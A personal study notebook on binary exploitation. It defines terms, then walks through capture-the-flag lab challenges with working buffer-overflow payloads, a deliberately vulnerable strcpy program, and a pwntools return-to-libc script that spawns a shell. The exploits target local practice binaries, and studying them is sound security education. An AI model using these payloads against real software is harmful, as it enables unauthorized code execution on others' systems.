Binary Exploitation Journey

b0th

May 25, 2020

1 Expressions

1.1 Technicals

ASLR (Address Space Layout Randomization) Security measure in modern OSes to randomize stack and libc addresses on each program execution.

Binary A binary is the output file from compiling a C or C++ file. Anything in the binary has a constant address (usually... see PIE.)

Canary A canary is some (usually random) value that is used to verify that nothing has been overrwritten. Programs may place canaries in memory, and check that they still have the exact same value after running potentially dangerous code, verifying the integrity of that memory.

GOT (Global Offset Table) The GOT is a table of addresses stored in the data section of memory. Executed programs use it to look up the runtime addresses of global variables that are unknown at compile time.

Heap The heap is a far more reliable memory space similar to the stack. However, usage of the heap has to be invoked by the coder, so heap problems are often their own category of exploitation

NX (Non-Executable) Security measure in modern OSes to separate processor instructions (code) and data (everything that's not code.) This prevents memory from being both executable and writable.

PIE (Position Independent Executable) Essentially ASLR, but for the binary itself. When this protection is enabled, locations of actual code in the binary are randomized.

PLT (Procedure Linkage Table) The PLT is essentially a wrapper function for all functions directly called in the binary. Only used in dynamically linked binaries.

ROP (Return Oriented Programming) Reusing tiny bits of code throughout the binary to construct commands we want to execute.

Stack The stack is part of the memory for a binary. Local variables and pointers are often stored here. The stack can be randomized.

1.2 Generals

Arbitrary This word is used to imply the fullness of control that you might have given an exploit. If you've achieved arbitrary code execution, that means you can run, read, or write whatever commands you choose.

Reliable Reliable in the context of binary exploitation is almost exactly the same as regular use. An exploit is said to be reliable if it works across different runs consistently. It might seem dumb to define this work, but somtimes with exploits you will only have the option to make an unreliable exploit.

2 Exploits

2.1 Buffer Overflow

Anomaly where a program, while writing data to a buffer, overruns the buffer's boundary and overwrites adjacent memory locations.

2.2 Return-to-libc

We overwrite the return adress with the adress of a useful function in a system library: *system()*(This functions is in libc. The overwritten data on the stack will be used as the function arguments. It will simulate a call to this funtion *system()* with arguments we control.

Representation of the added data in the stack with *system()*:

`&system() + &return_adr + &arg_1 + &arg_2`

2.3 Return Chaining

Its used to call multiple functions in succession. The first functions must return into a *pop* — *pop* — *ret*(2 *pop* for 2 arguments) sequence to remove its arguments from the stack and return the second function.

Representation of the added data in the stack

`&func_1 + &pop + &pop + &ret + &arg_1 + &arg_2 + &func_2 + &pop + &pop + &ret + &arg_1 + &arg_2`

3 Registers

Processor operations mostly involve processing data. This data can be stored in memory and accessed from thereon. However, reading data from and storing data into memory slows down the processor, as it involves complicated processes of sending the data request across the control bus and into the memory storage unit and getting the data through the same channel.

Register Internal memory storage location

The registers store data elements for processing without having to access the memory. A limited number of registers are built into the processor chip.

4 General Registers

This sort of register is divided into 3 groups:

- **Data** registers
- **Pointer** registers
- **Index** registers

4.1 Data Registers

Accumulator $\Big(\text{AH(8 bits)} + \text{AL(8 bits)}\Big) \in \text{AX(16 bits)} \in \text{EAX(32 bits)}$

Base $\Big(\text{BH(8 bits)} + \text{BL(8 bits)}\Big) \in \text{BX(16 bits)} \in \text{EBX(32 bits)}$

Counter $\Big(\text{CH(8 bits)} + \text{CL(8 bits)}\Big) \in \text{CX(16 bits)} \in \text{ECX(32 bits)}$

Data $\Big(\text{DH(8 bits)} + \text{DL(8 bits)}\Big) \in \text{DX(16 bits)} \in \text{EDX(32 bits)}$

Usage: Arithmetic, logical and operations

4.2 Pointer Registers

todo...

5 Laboratory

flag.txt content→"b0th".

5.1 Buffer Overflow 0

Links: Binary Source

To solve this challenge, just understand that in this program the segmentation fault calls the *sigsegv_handler* function that reads the content of *flag.txt*.

```
./vuln \$(python -c "print 'A'*30")
b0th
```

5.2 Buffer Overflow 1

Links: Binary Source

We have buffer size of 32 bytes, and we want to jump to the win function. This program is using *gets()* which is dangerous because it doesnt check the string lenght. So we know it will be easier to overwrite the return adress of *vuln()* function.

win() adress: `0x080485cb`

This function read *flag.txt* too.

```
python -c "print 'A'*44 + '\xcb\x85\x04\x08'" | ./vuln
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x80485cb
b0th
Erreur de segmentation
```

5.3 OverFlow 1

Links: Binary Source

Same format as **Buffer Overflow 1**. We want to overwrite the *vuln()*'s return adress and we want to jump to *flag()*.

flag() adress: `0x080485e6`

```
python -c "print 'A'*76+'\xe6\x85\x04\x08'" | ./vuln
Give me a string and lets see what happens:
Woah, were jumping to 0x80485e6 !
b0th
Erreur de segmentation
```

5.4 ret2libc

Source: vuln.c

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void func(char *arg)
{
    char buffer[8];
    strcpy(buffer,arg);
    printf("%s\n", buffer);
}

int main(int argc, char *argv[])
{
    if(argc != 2) printf("binary <chaine>\n");
    else func(argv[1]);
    return 0;
}
```

1. Find how many byte we need to control `eip`.

   We need 20 bytes before overwriting the return adress.

2. Find a libc function adress, we will take *system()*.

   system() adress: `0xf7e06660`

3. Find an arg for *system()*, `"/bin/sh"` seems to be interesting.

   `"/bin/sh"`adress: `0xf7f4a406`

```
./vuln  $(python -c "print 'A'*20 + '\x60\x66\xe0\xf7' + 'NOPE' +
'\x06\xa4\xf4\xf7'")
# echo b0th
b0th
# exit
Erreur de segmentation
```

As we can see, it has made spawn a shell, and it is what we wanted.
solve.py (I have made):

```
from pwn import *

#adress
system=0xf7e06660
binsh=0xf7f4a406

#payload
payload='A'*20
payload+=p32(system)
payload+='NOPE'
payload+=p32(binsh)

#run binary
p=process(['./vuln',payload])

p.interactive()
```

6 Notes

1. Segmentation fault means it tried to acces an adress that doesnt even exist.
2. However, *vuln()* needs to know where to return to in *main()* when it finishes. This is called a return address. It is supposed to go to the instruction right after *main()* calls *vuln()*. When we get a segmentation fault, that means that we've overwritten the return address. Representation of a stack part from a vuln program using *strcpy()* function:

   If we dont overwrite the return adress, basically it will get back into *main()*.
3. A character seems to be stored in a byte(octet).
4. Always check if PIE is enabled. If its not, it will be way easier.
5. Return-to-libc doesnt need a valid return adress because we execute only one function.
6. Warning: 10→'10' and 10→0xa